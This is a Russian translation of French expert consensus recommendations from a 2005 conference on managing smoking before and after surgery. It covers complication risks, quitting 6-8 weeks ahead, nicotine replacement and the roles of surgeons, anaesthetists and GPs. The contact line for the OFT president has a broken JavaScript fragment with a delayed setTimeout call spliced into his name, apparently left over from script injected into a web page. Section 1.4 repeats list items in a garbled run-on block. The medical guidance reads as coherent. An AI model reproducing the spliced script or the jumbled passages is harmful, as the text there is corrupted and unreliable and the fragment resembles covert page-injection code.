Французское Бюро по предупреждению злоупотреблением табакокурением (OFT) было инициатором организации конференции экспертов о запрете табака в 2005 году, которая продемонстрировала интерес в отношении :

• диагностирования всех курильщиков,
• предоставления информации о последствиях курения табака,
• информирования их о пользе прекращения курения за 6-8 недель до проведения операции и до окончания процесса рубцевания,
• организации прекращения табакокурения с последующим наблюдением

Национальный Институт Рака (INCA) поручил Французскому Бюро по предупреждению злоупотреблением табакокурением (OFT) проработать предоставляемую информацию пациентам по данному вопросу.
Конечно же, каждый составитель информационной статьи свободен в своём праве предоставлять информацию исходя из собственных пожеланий, однако, не может обходить данную проблему молчанием.

Стандартный оборот речи, предложенный Французским Бюро по предупреждению злоупотреблением табакокурением (OFT)

• Курение увеличивает риск возникновения хирургических осложнений при проведении любого вида хирургических операций.
• Прекращение курения за 6-8 недель до проведения вмешательства исключает этот дополнительный риск.
• Если вы курите, скажите об этом вашему врачу, хирургу и анестезиологу, либо позвоните на линию Tabac-Info-Service по номеру 3989, где вам помогут уменьшить риски и добиться всех преимуществ для своей стороны » .

Мы также проявили инициативу в плане внесения дополнения в « информированное согласие » в виде записи о том, что пациент прочел, понял и принял к сведению всю информацию, содержащуюся в « информационных брошюрах », в особенности предостережен в отношении последствий курения табака.

Контакты OFT

Проф. Бертран Даутценберг (Pr Bertrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Dautzenberg), президент ● 06 13 43 70 48 ● b.dautzenberg@ofta-asso.fr Од Коллэн (Aude Collin), руководитель проектов ● 01 43 25 25 87 ● a.collin@ofta-asso.fr 66, бульвар Сен-Мишель  ● 75006 Париж ● Тел. : 01 43 25 19 65 www.ofta-asso.fr

КОНФЕРЕНЦИЯ ЭКСПЕРТОВ О ЗЛОУПОТРЕБЛЕНИИ КУРЕНИЕМ В ПЕРИОПЕРАЦИОННЫЙ ПЕРИОД, СОСТОЯВШАЯСЯ 23 СЕНТЯБРЯ 2005

ИНИЦИАТОРЫ И СО-ИНИЦИАТОРЫ :

• Французская Ассоциация Хирургии (AFC)
• Французское Общество Анестезии и Реаниматологии (SFAR)
• Французское Бюро по предупреждению злоупотреблением табакокурением (OFT)
• Французское Общество Торакальной и Сердечно-сосудистой Хирургии SFCTC
• Французское Общество Кардиологии SFC
• Французское Общество Здравоохранения SFSP
• Французское Общество Табакологии SFT
• Французская Сеть Hôpital sans Tabac
• RHST Европейская Сеть Hôpital sans Tabac
• Дирекция государственных больничных учреждений Парижа APHP

Тексты данных рекомендаций доступны на сайтах инициаторов и со-инициаторов конференции :

• Французской Ассоциации Хирургии
• Французского Общества Анестезии и Реаниматологии
• Французского Бюро по предупреждению злоупотреблением табакокурением

ПРИ ПОДДЕРЖКЕ
Министерства Здравоохранения

• Злоупотребление табакокурением несет ответственность за значительное увеличение риска периоперационных осложнений, которое очень часто не принимается в расчет.
• Надлежащее отношение к табакокурению должно принести быстрые положительные эффекты в плане уменьшения общих осложнений и в области проведения операции в частности, что будет представлять собой значительную выгоду, как для здоровья, так и в планах экономии.
• Данная конференция экспертов была организована с участием трёх сторон : хирургов, табакологов и анестезиологов, и была предназначена для достижения изменений существующих практик с более широким принятием во внимание периоперационного табакокурения.
• Она позволила выявить практики профессионального характера, позволяющие контролировать табакокурение и уменьшить процент заболеваемости и смертность в результате операции во Франции.
• Полный анализ литературных источников был проведен 22 экспертами входивших в 6 групп для получения ответа на 6 вопросов, заданных организационных комитетом. Рекомендации были оценены от A (по меньшей мере 2 исследования уровня I : обширное исследование методом случайной выборки) до E (исследования уровня IV или V : анализ конкретных ситуаций, мнения экспертов).
• Рекомендации привели к консенсусу, достигнутому в результате последующих заседаний экспертов. Открытое заседание, прошедшее в ходе конгресса Французского Общества Анестезии и Реаниматологии (SFAR) 23 Сентября 2005 года позволило утвердить окончательный текст.
• Наблюдательный комитет был создан с целью обеспечения организации помощи данной конференции экспертов в плане организации изменения практик.

ЗАКЛЮЧЕНИЯ ЭКСПЕРТОВ

I- QS1 РИСКИ СВЯЗАННЫЕ с ТАБАКОКУРЕНИЕМ ПРИ ПРОВЕДЕНИИ ХИРУРГИЧЕСКОГО ВМЕШАТЕЛЬСТВА

1.1 Какова эпидемиология при злоупотреблении курением у оперируемых во Франции ?

• Процент злоупотребляющих табакокурением от общей популяции французов зависит от возраста и пола. В 2004 году он составлял 33 % у мужчин и 27% у женщин.
• Около 8 миллионов пациентов во Франции ежегодно прибегают к анестезии, из которых 7 миллионов взрослые люди старше 15 лет, главным образом при проведении хирургического вмешательства, в более редких случаях при родах или эндоскопии. К тому же многочисленные небольшие хирургические вмешательства проводятся лишь при локальной анестезии.
• Нет никаких аргументов, позволяющих полагать, что пристрастие к табакокурению у пациентов которым была предписана анестезия, отличается от табакозависимости общей популяции людей. Так, следует отметить, что процентное соотношение курильщиков из числа прооперированных представляет собой следующие данные: 40% от 15 до 45 лет,  20% от 46 до 65 лет и 10% у подвергшихся операции пациентов старше 75 лет. С учетом этого, следует полагать, что около 2 миллионов ежегодных хирургических вмешательств были сделаны курящим людям [E].
• Должны быть проведены исследования о пристрастии к табаку прооперированных пациентов с целью уточнения этих эпидемиологических данных [E].

1.2 Каково увеличение риска периоперационной смертности у курильщика ?

Единственное доступное к ознакомлению проспективное исследование в общей хирургии демонстрирует увеличение риска смертности у курильщиков (RR от 2,56) [D].

1.3 Каковы риски общих осложнений (сердечно-сосудистые, дыхательные, инфекционные) ?

Увеличение относительного риска (RR) на основе проведенных исследований :

• Риск быть переведенным в реанимацию (RR от 2,02 до 2,86) [D],
• Инфекционные осложнения (RR от 2 до 3,5) [D],
• Коронарные осложнения (RR от 3) [D],
• Коронарные осложнения (RR от 3) [D],

1.4 Каковы риски хирургических осложнений у курильщиков (рубцы, расхождение швов и аностомоз, задержка костного сращения…) ?

Увеличение риска хирургических осложнений от табакокурения в периоперационный период главным образом связано с вредным влиянием на микроциркуляцию [E].

Данное увеличение риска подтверждено многочисленными исследованиями и затрагивает все ткани, от кожи до кости, а именно :

• Осложнения процесса рубцевания после хирургии колена (RR от 2,4) [D], – Инфекционные осложнения рубца (оценка 12% vs 2% p< 0,05) [B], – Плохое рубцевание в местах сопряжения лоскутов /месте пересадки лоскута в пластической хирургии (27% vs 12%) [D], – Риск эвентрации после лапаротомии (RR от 3.93) [D],
• Грудная инфекция и медиастинит в торакальной хирургии (RR от 3) [D], – расхождение швов, наложенных на пищевод (RR от 3,18) и фистулы (RR от 3) [D], – Риск сосудистого тромбоза (RR от 3,09) [A], – Задержка костного сращения (RR от 2,7 и RR от 8,1 при псевдоартрозах) [D].
• Совокупность осложнений на области проведения операции проявляется в 3-х исследованиях с показателями, соответствующих 31% vs 5%, 48% vs 15% и 39% vs 25% у курильщиков по сравнению с некурящими [D].
• Увеличение длительности пребывания, частоты процедур интенсивной терапии и возможные осложнения влияют на конечную стоимость, которая при этом не была до настоящего времени подсчитана во Франции, таким образом необходимо проведение медико-экономического исследования [E]. Осложнения процесса рубцевания после хирургии колена (RR от 2,4) [D], – Инфекционные осложнения рубца (оценка 12% vs 2% p< 0,05) [B], – Плохое рубцевание в местах сопряжения лоскутов /месте пересадки лоскута в пластической хирургии (27% vs 12%) [D], – Риск эвентрации после лапаротомии (RR от 3.93) [D], Осложнения процесса рубцевания после хирургии колена (RR от 2,4) [D],
• Инфекционные осложнения рубца (оценка 12% vs 2% p< 0,05) [B],
• Плохое рубцевание в местах сопряжения лоскутов /месте пересадки лоскута в пластической хирургии (27% vs 12%) [D],
• Риск эвентрации после лапаротомии (RR от 3.93) [D],
• Грудная инфекция и медиастинит в торакальной хирургии (RR от 3) [D],
• Расхождение швов, наложенных на пищевод (RR от 3,18) и фистулы (RR от 3) [D],
• Риск сосудистого тромбоза (RR от 3,09) [A],
• Задержка костного сращения (RR от 2,7 и RR от 8,1 при псевдоартрозах) [D].

Совокупность осложнений на области проведения операции проявляется в 3-х исследованиях с показателями, соответствующих 31% vs 5%, 48% vs 15% и 39% vs 25% у курильщиков по сравнению с некурящими [D].

1.5 Влияние табакокурения родителей при проведении вмешательства у ребёнка

Дети, подвергающиеся пассивному курению обладают повышенной степенью содержания никотина в моче, особенно в возрасте до 3-х лет [C].

Кроме этого, дети, являющиеся пассивными курильщиками чаще других являются объектами проведения вмешательств в области Оториноларингологии [A].

Существует зависимость между интенсивностью подверженности пассивному курению и частотой проявления дыхательных осложнений. Это явно продемонстрировано в отношении хирургических операций в области оториноларингологии [D].

Отмечается повышенное увеличение риска ларингоспазма, выявленного на основе проведенных 2-х исследований (RR от 5.6-10) [D].

1.6 Каковы последствия данных осложнений, в плане увеличения продолжительности пребывания и периоперационной стоимости ?

Увеличение общей продолжительности госпитализации курильщиков при больших хирургических операциях составляло порядка 2-3 дней [D].

Увеличение длительности пребывания, частоты процедур интенсивной терапии и возможные осложнения влияют на конечную стоимость, которая при этом не была до настоящего времени подсчитана во Франции, таким образом необходимо проведение медико-экономического исследования [E].

II- QS2 ДОКАЗАННАЯ ПОЛЬЗА ПРИ ОТКАЗЕ ОТ КУРЕНИЯ В ПЕРИОПЕРАЦИОННЫЙ ПЕРИОД

2.1 Каковы положительные эффекты отказа от курения в зависимости от срока (>48 часов) до проведения вмешательства ?

Курильщики, отказавшиеся от табака задолго до проведения операции, имеют меньшие операционные риски по сравнению с курящими и не отличаются от тех, кто не курит вообще. [C].

Отказ от табака за 6-8 недель до проведения вмешательства приводит к исчезновению риска операционных осложнений, связанных с табакокурением [A].

Отказ от курения в более близкий к вмешательству период (за 3-4 недели), приносит положительный эффект в отношении всех операционных параметров [C].

Прекращение курения менее чем за 3 недели до проведения вмешательства идет на пользу, поскольку документально подтвержденное уменьшение осложнений в области места проведения операции ограничивает значение спорного риска увеличения дыхательных осложнений [E].

2.2 Каковы положительные эффекты от уменьшения потребления табака замещаемого и незамещаемого в зависимости от срока (>48 часов) до проведения вмешательства ?

Простое уменьшение количества потребления курительного табака без никотинового замещения не рекомендуется [E].

Снижение циркулирующего CO, наблюдаемого при данном уменьшении без замещения должно при этом сопровождаться положительными эффектами, которые еще предстоит доказать [E].

Положительные эффекты уменьшения табакокурения с никотиновым замещением в предоперационный период не были объект оценки [E].

2.3 Каковы положительные эффекты от уменьшения потребления табака замещаемого и незамещаемого в период 48 часов, предшествующих хирургическому вмешательству ?

В физиопатологическом плане полный отказ от табака должен иметь благоприятный эффект даже при менее чем за 48 часов до проведения вмешательства [E].

Единственными нежелательными эффектами при прекращении курения могут стать временное увеличение частотности кашля и выделений из бронхов [E].

2.4 Каковы положительные эффекты от прекращения курения табака родителями при выполнении хирургического вмешательства у ребёнка ?

Если вредное влияния пристрастия к табаку у родителей было доказано, положительные эффекты прекращения курения ими в периоперационный период не были объектом проведения специального исследования ; таким образом никакого вывода сделать невозможно [E].

2.5 Периоперационный период благоприятствует приостановке табакокурения в долгосрочной перспективе ?

Процент возвращения к курению у общей популяции людей, бросивших эту привычку составляет порядка 50% спустя один год [A].

При хирургии на сердце, 50% из тех пациентов, кому была проведена операция на коронарных артериях и прекративших курить, вернулись к этой привычке спустя один год [C].

Отказ от курения при проведении хирургического вмешательства является прогностическим фактором в плане отказа на долгосрочную перспективу. Тем не менее, частота возобновления курения означает необходимость проведения более продолжительного наблюдения за курильщиками для предупреждения подобных рецидивов [E].

2.6 Какой интерес в плане костного сращения и тромбоэмболических болезней представляет собой отказ от курения в послеоперационный период ?

Когда отказ от курения поддерживается и в постоперационный период, отмечается доказанный положительный эффект на костное сращение [D] и вероятное благоприятное воздействие на рубцевание кожи и мягких тканей [E].

Проницаемость сосудистых перекрестных связей улучшается при продолжении отказа от курения в послеоперационном периоде [A].

Тромбозы сосудистых перекрестных связей у курильщиков в 57% случаев связаны с пристрастием к табаку [B].

III- QS3 ОБЕСПЕЧЕНИЕ ОРГАНИЗАЦИИ ЗАБОТЫ О КУРИЛЬЩИКАХ В ПРЕДОПЕРАЦИОННЫЙ ПЕРИОД ЗАРАНЕЕ СПЛАНИРОВАННОГОХИРУРГИЧЕСКОГО ВМЕШАТЕЛЬСТВА

3.1 Какие существуют средства по обеспечению организации заботы ? (Предоставление совета минимального характера, Предоставление информации стандартного характера, Оценка зависимости и недостаточности, Средства самооценки, Измерение CO)

В ходе данного периода, средства диагностики и оценки эффекта отказа от курения являются стандартными инструментами, используемыми вне данного контекста [E].

Среди опросников для самооценки, наиболее полезным тестом является тест Фагерстрома, который позволяет определить степень никотиновой зависимости [B].

Величина выдыхаемого CO является очень мотивированным показателем в плане прекращения курения [B].

Предоставление совета минимального характера об отказе от курения должно быть осуществлено всем медперсоналом по отношению ко всем курильщикам [E].

Предоставляемая курильщику информация должна быть адаптирована к типу предстоящему ему хирургическому вмешательству [E].

3.2 Как помочь курильщику бросить курить перед проведением вмешательства ?

Сразу же после того как станет известно о проведении хирургического вмешательства, весь медперсонал должен использовать все средства, имеющиеся в его распоряжении для оказания помощи курильщику в плане отказа от табакокурения [E].

Медперсонал может сам взять на себя заботу о курильщике, используя наиболее адаптированные к каждому конкретному случаю техники, либо доверить наиболее сложные случаи специалисту (консультация Табаколога) или же с учетом наличия свободного времени врачу общей практики, анестезиологу, пульмонологу или квалифицированной акушерке [E].

Применяемые средства используются в соответствие с учетом рекомендаций Afssaps [E] : – Никотиновые заместители, вводимые чрескожным путем или орально, как правило, увеличивают шансы отказа от курения (RR до 1,74) [A]. – В обычных условиях для запланированного отказа от курения используется Бупропион, применяемый более чем за 8 недель до проведения вмешательства [E].

Если отказ от курения в результате принятия Бупропиона отмечается в ходе проведения вмешательства, нет никакой необходимости в изменении тактики помощи [E]. – Психо- поведенческая поддержка особенно необходима в периоперационный период [E]. – Телефонные линии помощи отказа от курения (Tabac Info Service 0825 309 310) [E].

3.3 В каких обстоятельствах следует предложить уменьшить потребление ?

Для курильщика, который не хочет или не может остановиться, уменьшение потребления табака с одновременным началом использования никотиновых заместителей может стать первым шагом к отказу от курения [E].

Уменьшение табакокурения путем замещения уменьшает количество вдыхаемого дыма и концентрацию CO в организме [D].

Если интерес уменьшения табакокурения путем никотинового замещения и был доказан, оно не было объектом исследований в периоперационный период. Тем не менее, оно может быть рекомендовано в периоперационный период на основе тех же условий, что и вне его [E].

3.4 Как помочь курящим родителям избежать воздействия пассивного курения их ребенку перед проведением запланированного вмешательства ?

Предпочтительным вариантом будет предложение отказаться родителям от курения или же, за невозможностью, снизить его частотность, в самом крайнем случае, обеспечить простую защиту ребенка  ограничив его доступ в помещение, где курят или курили ещё два часа тому назад [E].

Простое предоставление устной информации или брошюр родителям, чьи дети подверглись госпитализации, не является достаточным. Рекомендуется посоветовать родителям обратиться за консультацией к Табакологу [D].

3.5 Как организовать амбулаторный уход ?

Все документы, написанные для специалистов в области здравоохранения и для пациентов с целью предоставления им советов и рекомендаций в плане хирургического вмешательства должны учитывать аспект пристрастия к табаку, как одного из принципиально возможных факторов операционных осложнений, которого можно избежать [E].

К наиболее простым случаям, в частности, следует отнести некаждодневных курильщиков, тех, кто не курит утром, а также людей у которых не отмечаются  тревожно-депрессивные проявления; для них будет достаточным предоставление совета минимального характера с или без никотинового замещения и проведение небольшой беседы в ходе каждого визита [E].

Средне- или сильно-зависимые курильщики (по шкале Фагерстрома > 4) могут воспользоваться преимуществами мониторинга одного из специалистов в области здравоохранения, который будет выполнять врачебное наблюдение и уход в течение всего периоперационного периода (врач общей практики, анестезиолог, врач специализированной направленности, квалифицированные акушерки), он также обеспечит организацию общего плана проведения вмешательства и обеспечит уход в течение последующей недели, а также, довольно часто, в осуществлении необходимой организации до самого проведения вмешательства [E].

Слишком зависимые курильщики и те, кто не могут быть обеспечены уходом врачей, непосредственно принимающих участие в проведении вмешательства в периоперационный период, подлежат направлению на прием к специалисту (консультация Табаколога, при его наличии в конкретном учреждении) [E].

Скоординированная организация быстрого обеспечения заботы и ухода за пациентами, у которых отмечается зависимость от табака должна быть выполнена в кратчайший периоперационный период, с целью скорейшего достижения отказа ими от табакокурения [E].

3.6 Как организовать уход для людей, находящихся на госпитализации ?

Курильщики, бросившие данную привычку в связи с предстоящим хирургическим вмешательством, должны извлечь пользу госпитализации в плане продолжения реализации комплексных мер по отказу от курения, инициированных для этой цели [E].

Курильщикам, находящимся в состоянии уменьшения степени табакозависимости до госпитализации, может быть предложен полный отказ от курения в течение периода госпитализации, посредством вероятной возможности осуществления никотинового замещения вводимого чрескожным путем, орально или ассоциировано. В случае отказа или при наличии препятствий особого характера, уменьшение табакозависимости может быть продолжена в ходе госпитализации посредством замещаемости. При этом, в обязательном порядке должны быть представлены правила  о необходимости непринятия пищи [E].

3.7 Какой может быть кооперация с отделениями Табакологии ?

Отделения Табакологии, при их наличии в конкретных условиях, могут вовлекаться во все стадии организации, проведения подготовки персонала и обеспечения ухода за пациентами [E].

Данные отделения возьмут на себя заботу о самых трудных пациентах и, в случае необходимости помогут соответствующим службам организовать уход в более легких случаях [E].

IV- QS4- РОЛЬ РАЗЛИЧНЫХ УЧАСТНИКОВ В ОБЛАСТИ ЗДРАВООХРАНЕНИЯ В ЗАВИСИМОСТИ ОТ СРОКА ДО ПРОВЕДЕНИЯ ВМЕШАТЕЛЬСТВА

4.1 Какова роль лечащего врача в предоперационном отвлечении от табакокурения ?

Каждый лечащий врач при появлении вероятности возможного проведения хирургического вмешательства, должен : – Систематически опрашивать пациента на предмет его табакозависимости, как можно задолго до проведения вмешательства [E],

• Подчеркивать пациенту важность отказа от курения [E],
• Предлагать свою помощь для прекращения курения или ориентировать пациента на специализированную консультацию, либо обращение на линию помощи по борьбе с никотиновой зависимостью (Tabac-Info-Service) [E],
• Проинформировать хирурга и анестезиолога о вероятной табакозависимости и уже возможно принятых мер по  её устранению [E].
• Подчеркивать, что в любом случае, полный отказ от табака является наиболее предпочтительным решением ; в идеальном варианте за 6-8 недель до проведения вмешательства [A].
• Предложить снизить табакозависимость посредством самого полного никотинового замещения при невозможности достижения прекращения курения [C].
• Усилить мотивацию пациента, в случае если отмечается её ослабление [E].
• Удостовериться в организации мониторинга и предупреждения срывов (наблюдение в течение 6-12 месяцев) [E].

4.2 Какова роль хирурга в выявлении, помощи в прекращении курения или предоперационном ориентировании пациента ?

Каждый хирург должен поинтересоваться у пациента, подлежащего операционному вмешательству о его отношении к табакокурению [E].

Он должен объяснить наличие связи между конечным результатом проведенного хирургического вмешательства и необходимостью прекращения курения. Данная информация должна быть приведена в информационном листке, передаваемом пациенту, при подписании информированного согласия [E].

Он должен настойчиво порекомендовать прекратить курение [C].

В некоторых случаях, хирург может отсрочить на некоторый период дату проведения хирургического вмешательства для достижения отказа от курения, при условии, что имеющаяся патология это позволяет. [E].

Оказываемая помощь способствующая прекращению курения : предоставление совета минимального характера, никотиновое замещение, направление к специалисту (фармацевту, лечащему врачу, табакологу), с учетом принятия во внимание ежедневного потребления табака и степени  никотиновой зависимости [E].

По завершению проведения вмешательства, хирург продолжает непрерывное наблюдение  за пациентом на предмет его состояния после отказа от курения (переписка с лечащим врачом) [E].

4.3 Какова роль анестезиолога в выявлении, помощи в прекращении курения или предоперационном ориентировании пациента ?

Анестезиолог является основополагающим участником в вопросе оказания помощи по прекращению курения во время проведения предоперационной анестезиологической консультации, в ходе которой он выявляет степень зависимости курильщиков от табака, в идеальном варианте с измерением количества выдыхаемого CO, проводит изучение табакозависимости и соматическое отражение, и рекомендует меры, способствующие отказу от курения, а также помощь в плане недопущения срывов [E].

В ходе хирургической госпитализации, анестезиолог : – поддерживает воздержание от курения и компенсирует синдром нехватки, в случае, когда это необходимо [E], – он также опирается на помощь, оказываемую координационным отделением Табакологии при его наличии [E], – принимает во внимание табакозависимость пациента при анестезии [E].

4.4 Какова роль парамедицинского персонала в организации периоперационного ухода за курильщиками ?

Весь парамедицинский персонал в рамках определенных ему обязанностей участвует в выявлении и осуществлении мероприятий по отказу пациентом от табачной зависимости в периоперационный период [E].

Рекомендовано, чтобы хирургические подразделения разработали процедуру выявления и обеспечения наблюдения за курильщиками [E].

Парамедицинскому персоналу надлежит обеспечить контроль за выполнением данных процедур [E].

4.5 Какова роль руководства учреждения, соответствующих служб и фармации, в обеспечении организации ухода за курильщиками в периоперационный период ?

Стационары должны быть обозначены надписью « без табака » (участие в Госпитальной Сети Sans Tabac с проведением в жизнь её Хартии). Правило предоставления данной надписи утверждено Врачебно-Консультационной комиссией (CME) и руководством учреждения [E].

Организация координации Табакологии рекомендовано в рамках каждого медицинского учреждения [E].

Фармация медицинского учреждения организует предоставление никотиновых заместителей, наряду с имеющимся порядком действий, позволяющем противостоять непредвиденным случаям и изменениям потребностей замещения пациентов [E].

4.6 Как добиться перехода от периоперационного прекращения курения в окончательный отказ от него ?

При покидании пациентом медицинского учреждения, его лечащему врачу должна быть направлена корреспонденция, с целью информирования о том, что было сделано в плане контроля за пристрастием пациента к табакокурению, с целью дальнейшей организации ведения пациента [E].

При существовании Координационной организации Табакологии, она приложит все усилия для обеспечения связи с целью способствования окончательному отказу от курения [E].

В любом случае, все положительные моменты окончательного отказа от курения будут представлены пациенту при его выписке [E].

V- QS5- ОСОБЕННОСТИ АНЕСТЕЗИИ ДЛЯ КУРИЛЬЩИКОВ

5.1 Какая взаимозависимость существует между препаратами для обезболивания с табакокурением и средствами, помогающими прекратить курение ?

Пристрастие к табаку увеличивает риск возникновения респираторных и сердечнососудистых реакций при анестезии [D].

Протокол проведения наркоза примет во внимание возможное увеличение частоты сердечных сокращений из-за воздействия никотина при интубации трахеи [C].

Случаи тошноты и рвоты после операции у курильщиков отмечается реже, по сравнению с некурящими людьми [D].

Табакокурение увеличивает риск возникновения респираторных и сердечнососудистых реакций при применении Десфлурана, обусловленного раздражением верхних дыхательных путей и реакцией симпатического характера [D].

5.2 Какое воздействие оказывает табакокурение, отказ от табака, никотиновые заместители и Бупропион на опорожнение желудка ?

Не было выявлено различий в объеме и уровне pH желудка у пациента, отказавшегося от курения накануне дня проведения вмешательства и  некурящего пациента [D].

Не было выявлено различий в объеме желудка у пациента, отказавшегося от курения накануне дня проведения вмешательства и человека, прекратившего курение лишь за пол-часа до проведения вмешательства [D].

Результаты исследований об эффектах продолжительности отказа от табака и применении никотиновых заместителей  на опорожнение желудка остаются противоречивыми [E].

Не существует достоверных данных зависимости между применением Бупропиона и опорожнением желудка.

5.3 Правила воздержания от табакокурения и курение в предоперационный период

Воздержание от табакокурения приводит к лучшему насыщению кислородом, это главным образом связано с удалением CO из организма [D].

Воздержание от табакокурения должно быть рекомендовано в соответствие с теми же правилами, что и при воздержании от пищи : “ни пить, ни есть, ни курить перед проведением вмешательства” [E].

Если пациент, которому предстоит проведение операционного вмешательства нарушает воздержание от табакокурения и выкуривает одну или две сигареты, эффект на насыщаемость кислородом остается умеренным, тогда как эффект на опорожнение желудка и риск воздействия при ингаляционном наркозе недоказанным. Прекращение воздержания от табакокурения не представляет собой формального противопоказания к анестезии [E].

Несоблюдение воздержания от табакокурения может быть предупреждено посредством предварительного предоставления полной информации и при необходимости использованием никотиновых заместителей [D].

Никотиновые заместители, принимаемые через рот, обладают свойством только орального всасывания [A] и их принятие не является несоблюдением воздержания от табакокурения [E].

5.4 Какое воздействие оказывает табакокурение, отказ от табака, никотиновые заместители и Бупропион на аналгезию ?

Никотиновые агонисты в опытном порядке стимулируют аналгезию [B].

Незаменяемый недавний  отказ от табакокурения сопровождается  увеличением потребности в болеутоляющих средствах, что отражено в большинстве исследований [D].

Имеющиеся данные о положительных эффектах никотинового замещения на болевые ощущения не достаточны для полноценной оценки [E].

Бупропион был предложен в качестве избавления от болей невропатического характера [E].

5.5 Какое влияние прекращение курения оказывает на степень выраженности бронхиальных секреций в зависимости от срока воздержания ?

Увеличение количества трахеобронхиальных  секреций является максимальным в первые 2 недели после прекращения курения (RR до 2,7) и отличается устойчивым проявлением до достижения нормализованного состояния в течение порядка 8 недель после отказа от курения [D].

Дыхательные симптомы (кашель, ринит, катар верхних дыхательных путей) усиливаются в первые 2 недели после прекращения курения [D].

Кашель значительно усиливается в течение первых 7 дней воздержания от курения и сходит на убыль по прошествии порядка 4-х недель [D].

Рекомендуется прекратить курение как минимум за 8 недель до проведения хирургического вмешательства для уменьшения риска возникновения постоперационных пульионологических осложнений [D].

5.6 Какое влияние оказывает отказ от табакокурения на бронхиальную гиперреактивность в зависимости от срока воздержания ?

В случае применения Метахолина для осуществления провокационных бронхиальных проб, отмечается гораздо более значительная бронхиальная гиперреактивность в группе курильщиков по сравнению с бросившими курение или некурящими вообще [D].

Отказ от табакокурения улучшает бронхиальную гиперреактивность, однако положительные эффекты отличаются меньшей выраженностью при Хронической Обструктивной Болезни Легких (BPCO) [D].

Нет никаких данных относительно необходимого срока воздержания от табакокурения для уменьшения степени проявления бронхиальной гиперреактивности [E].

Не имеется какой-либо информации относительно положительных эффектов избавления от табачной интоксикации при запоздалом отказе от курения (менее чем за 4 недели) до проведения хирургического вмешательства в плане бронхиальной гиперреактивности [E].

После отказа от табакокурения, гиперреактивность верхних дыхательных путей начинает улучшаться по прошествии 48 часов, а порог нормализуется спустя 10 дней [D].

VI- QS 6 ОБЕСПЕЧЕНИЕ ОРГАНИЗАЦИИ ЗАБОТЫ ЗА ЗАВИСИМЫМ КУРИЛЬЩИКОМ, ГОСПИТАЛИЗИРОВАННЫМ ДЛЯ ПРОВЕДЕНИЯ НЕЗАПЛАНИРОВАННОГО ХИРУРГИЧЕСКОГО ВМЕШАТЕЛЬСТВА

6.1 Какие симптомы и отрицательные эмоции проявляются при резком незамещенном прекращении курения ?

Признаки нехватки (тревога, беспокойство, раздражительность, агрессивность, непреодолимая тяга к курению) проявляются у зависимого курильщика в первые 2-6 часов после начала воздержания [D].

Никотиновое воздержание является причиной недостаточности в плане психомоторных характеристик [D].

Воздержание от курения вызывает значительные изменения ритма электроэнцефалограммы (в первые 5 часов после начала воздержания) способного продолжаться до 7 дней с возможностью уменьшения длительности указанного периода при никотиновом замещении [D].

6.2 Какой интерес представляет собой временное никотиновое замещение в рамках проведения хирургического вмешательства в срочном порядке?

Нет никаких данных исследований отраженных в литературных источниках, относительно временного замещения в рамках проведения незапланированного хирургического вмешательства в срочном порядке [E].

В целом, никотиновые заместители позволяют достичь большего временного воздержания у госпитализированных пациентов, которым предстоит проведение хирургического вмешательства (по сравнению с не требующими выполнения операции) (RR воздержания при использовании никотиновых заместителей до 1,38 [A].

Временное никотиновое замещение позволяет уменьшить признаки нехватки или количества вдыхаемого дыма [C].

В целом, временное никотиновое замещение позволяет уменьшить проявление агрессивности у курильщиков, воздерживающихся от табака в течение порядка 8-и часов [D].

6.3 Каков порядок действий следует организовать в службах госпитализации для выявления и ухода за ощущающими потребность в курении пациентами ?

Порядок действий для выявления пациентов, ощущающих острую потребность в курении :

Необходимо привлечь внимание, предоставить полную информацию и вовлечь все участвующие стороны по обеспечению здорового состояния в оказании ухода за курильщиками перед проведением вмешательства (лечащий врач, специалист службы неотложной медицинской помощи, анестезиолог, хирург, медицинская сестра, сиделка, врач-специалист) [E].

Кооперация мобильной команды отделения Табакологии в сфере обеспечения поддержания связи является желательной [E].

Необходимость оценки врачебной практики : роль врача-референта [E].

Имеющиеся в распоряжении каждой службы протоколы вместе с рекомендациями (определение наличия острой потребности в курении и тактика мер к принятию) [E].

Порядок действий для устранения проявлений острой потребности в курении :

Общие сведения, отраженные в литературных источниках о положительных эффектах предупреждения проявлений острой потребности в курении посредством временного никотинового замещения в ходе операционного периода, отличаются противоречивостью по отношению к недавно проведенному всестороннему исследованию и заслуживают более полного подтверждения [E].

Никотиновые заместители слишком редко применяются в отношении госпитализированных пациентов и подлежат к своему более частому использованию [E].

6.4 Как справиться с увеличением HbCO до проведения хирургического вмешательства в срочном порядке ?

По причине своей окраски, карбоксигемоглобин (HbCO) измеряется как представляющий собой оксигемоглобин (HbO2) посредством пульсового оксиметра. Поэтому, насыщенность, измеряемая пульсовым оксиметром, может быть определена неверно.

Отказ от табакокурения более чем за 12 часов позволяет значительно снизить величину накопленного курильщиком CO, оперируемым в срочном порядке [D].

В теоретическом плане, оксигенотерапия до максимального FiO2 выводит накопленный CO за 4 часа. Положительный эффект подобной практики не был изучен и не может быть рекомендованным [E].

ВЫВОДЫ

Систематический анализ периоперационных практик в свете данных рекомендаций должен был бы привести к улучшению обучения персонала, совершенствованию процедур и практик, а также сокращению хирургических и общих осложнений, способных возникнуть в периоперационный период.

Данные меры должны также уменьшить человеческую составляющую, посредством борьбы с одной из главенствующих причин возникновения хирургических осложнений, которую можно избежать, и которая очень часто не принимается во внимание : речь идет о табакокурении.

Развитие средств по оценке практик по проведению обучения персонала и информирования широких слоёв населения должно быть как можно быстрее воплощено в жизнь.